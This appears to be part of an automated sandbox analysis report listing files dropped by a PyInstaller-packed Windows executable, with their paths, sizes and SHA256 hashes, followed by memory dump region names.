          • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
          • MD5 SHA1 SHA512 TLSH

          _chacha20.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\Crypto\Cipher\_chacha20.pyd
          • Size 13KB
          • SHA256 ef063eb3aed160477551236d25f8dade24387ad4fff812814f2099d35e74416c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\VCRUNTIME140.dll
          • Size 117KB
          • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          VCRUNTIME140_1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\VCRUNTIME140_1.dll
          • Size 48KB
          • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_bz2.pyd
          • Size 85KB
          • SHA256 d28c3dd1c22bfb8a6e8a6a9c2359842b797d08e878ecb7805f60e86a45589d11
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _cffi_backend.cp314-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_cffi_backend.cp314-win_amd64.pyd
          • Size 177KB
          • SHA256 58bbe1eb15f9ab8e9ea45715a8311e2366b360d910a4685448bdd728d5177a01
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_ctypes.pyd
          • Size 139KB
          • SHA256 25d9b0be550d428fecc697ca20450343a7c3ce77c9f5283e9aecfd188d609250
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_hashlib.pyd
          • Size 67KB
          • SHA256 36ce760b9fac53fe51755f30a68d86f5fde89bf1b66c65c19e04aa3afa404ac2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_lzma.pyd
          • Size 157KB
          • SHA256 5f7003f9f0256e36351ca2810b3485db28579b08e4d1d65f6f211fcd1136f395
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _queue.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_queue.pyd
          • Size 35KB
          • SHA256 bb53357b4e91ac23ed4061f15ff3e5e91a5b3be1cbb0c6cf294521ae5b4efa1c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_socket.pyd
          • Size 85KB
          • SHA256 25ac83cac32ed0d67b2cc9672ce64cb53f0a29a75b14c276e901023ff43da5f9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_ssl.pyd
          • Size 186KB
          • SHA256 5c07572df2913618cfb851b608cb5f74d740fcce5c3f2e63dc0a2ba39ab35dad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _uuid.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_uuid.pyd
          • Size 27KB
          • SHA256 a09308efd309732e3745e70b4456235579c450cac32bed616dfb3913b56f6637
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _wmi.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_wmi.pyd
          • Size 39KB
          • SHA256 0ab1fbcf18c95d70343012feb1aad61e1ba95aaed5b4a08e57fc5990e8a9a452
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _zstd.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\_zstd.pyd
          • Size 491KB
          • SHA256 262aea62a994920daf152a10bdc0ca83a8b1c0874e71db23734862431de182c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\base_library.zip
          • Size 1.3MB
          • SHA256 1fb8fffea00673bf303164c51cf21f36b1e5923a90cfe14566c618bf1b12ea8c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _rust.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\cryptography\hazmat\bindings\_rust.pyd
          • Size 9.4MB
          • SHA256 813b101f70efb79c388239ce82ac891e195a1e19eeaeb43c32d9bf425e7b51b8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\libcrypto-3.dll
          • Size 6.0MB
          • SHA256 53c529145339fb042a3dcd3a09c2d7753204f8b4fc79d99e0d31e69a33985958
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\libffi-8.dll
          • Size 38KB
          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libssl-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\libssl-3.dll
          • Size 1.3MB
          • SHA256 b17a87979862d19241edc4318f967e24c3ec356ed6c2368f561179fab2311001
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _psutil_windows.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\psutil\_psutil_windows.pyd
          • Size 69KB
          • SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python3.DLL

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\python3.DLL
          • Size 72KB
          • SHA256 22c6e46d8bd563cdb072650901461ef68be2ea6cb1e80af859559d9395a27e39
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python314.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\python314.dll
          • Size 6.5MB
          • SHA256 fde89cdb5c2d08ae65de7ef4abca1876c93ba3796002f5ac0bf7e4d4f5a94da0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Lorem ipsum.txt

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
          • Size 1KB
          • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
          • MD5 SHA1 SHA512 TLSH

          ucrtbase.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15482\ucrtbase.dll
          • Size 1.1MB
          • SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_ew0zccpq.gft.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ew0zccpq.gft.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          program1.exe

          • Path C:\Users\Admin\AppData\Local\Temp\_temp_4n5nyy8x\program1.exe
          • Size 13.5MB
          • SHA256 c6d6db0dfda9557840fc97478715c04cd31a43514959924fbd577c31dcf68fbd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          program2.exe

          • Path C:\Users\Admin\AppData\Local\Temp\_temp_4n5nyy8x\program2.exe
          • Size 92KB
          • SHA256 edc5fa36a785d957caaba344cd45844e73362981bcbfa6fe0a11cd92dca8790e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2460-632-0x00007FFB3EE40000-0x00007FFB3EE42000-memory.dmp

          memory/2460-633-0x00007FF61FE40000-0x00007FF621416000-memory.dmp

          memory/2460-631-0x00007FFB3EE30000-0x00007FFB3EE32000-memory.dmp

          memory/2896-847-0x00000000060A0000-0x00000000060C0000-memory.dmp

          memory/2896-844-0x0000000070110000-0x000000007015C000-memory.dmp

          memory/2896-848-0x0000000006D40000-0x0000000006DE3000-memory.dmp

          memory/2896-850-0x0000000006E70000-0x0000000006E8A000-memory.dmp

          memory/2896-851-0x0000000006EE0000-0x0000000006EEA000-memory.dmp

          memory/2896-852-0x00000000070E0000-0x0000000007176000-memory.dmp

          memory/2896-839-0x0000000005700000-0x0000000005A5B000-memory.dmp

          memory/2896-836-0x0000000004E30000-0x0000000004E52000-memory.dmp

          memory/2896-833-0x0000000004EE0000-0x000000000552A000-memory.dmp

          memory/2896-832-0x00000000022C0000-0x00000000022F6000-memory.dmp

          memory/2896-838-0x00000000055A0000-0x0000000005606000-memory.dmp

          memory/2896-849-0x00000000074B0000-0x0000000007B2C000-memory.dmp

          memory/2896-837-0x0000000005530000-0x0000000005596000-memory.dmp

          memory/2896-841-0x0000000005AF0000-0x0000000005B0E000-memory.dmp

          memory/2896-842-0x0000000005B40000-0x0000000005B8C000-memory.dmp

          memory/2896-843-0x0000000006D00000-0x0000000006D36000-memory.dmp

          memory/3068-656-0x000001C5001E0000-0x000001C5002E0000-memory.dmp

          memory/3068-657-0x000001C5001E0000-0x000001C5002E0000-memory.dmp

          memory/3068-702-0x000001C504290000-0x000001C5042B0000-memory.dmp

          memory/3068-688-0x000001C501D70000-0x000001C501D90000-memory.dmp

          memory/3068-670-0x000001C501A30000-0x000001C501A50000-memory.dmp

          memory/3068-658-0x000001C5001E0000-0x000001C5002E0000-memory.dmp

          memory/3068-672-0x000001C501E90000-0x000001C501F90000-memory.dmp

          memory/3272-581-0x000001A6A6FE0000-0x000001A6A7002000-memory.dmp

          memory/3296-857-0x0000000070110000-0x000000007015C000-memory.dmp

          memory/3676-627-0x00000000056B0000-0x0000000005C6A000-memory.dmp

          memory/3676-629-0x00000000050C0000-0x00000000050CA000-memory.dmp

          memory/3676-626-0x00000000006C0000-0x00000000006DC000-memory.dmp

          memory/3676-828-0x00000000052D0000-0x00000000052EE000-memory.dmp

          memory/3676-827-0x00000000051F0000-0x000000000520A000-memory.dmp

          memory/3676-628-0x00000000050F0000-0x0000000005182000-memory.dmp

          memory/3676-630-0x0000000005210000-0x0000000005286000-memory.dmp

          memory/3688-609-0x000001C46E500000-0x000001C46E5B2000-memory.dmp

          memory/3932-592-0x000002A0AB730000-0x000002A0AB73A000-memory.dmp

          memory/3932-591-0x000002A0AB670000-0x000002A0AB722000-memory.dmp

          memory/3932-590-0x000002A0AB650000-0x000002A0AB66E000-memory.dmp

          memory/3960-826-0x000000000EDF0000-0x000000000EE6C000-memory.dmp

          memory/4948-830-0x0000000005880000-0x000000000591C000-memory.dmp

          memory/4948-829-0x0000000000400000-0x0000000000418000-memory.dmp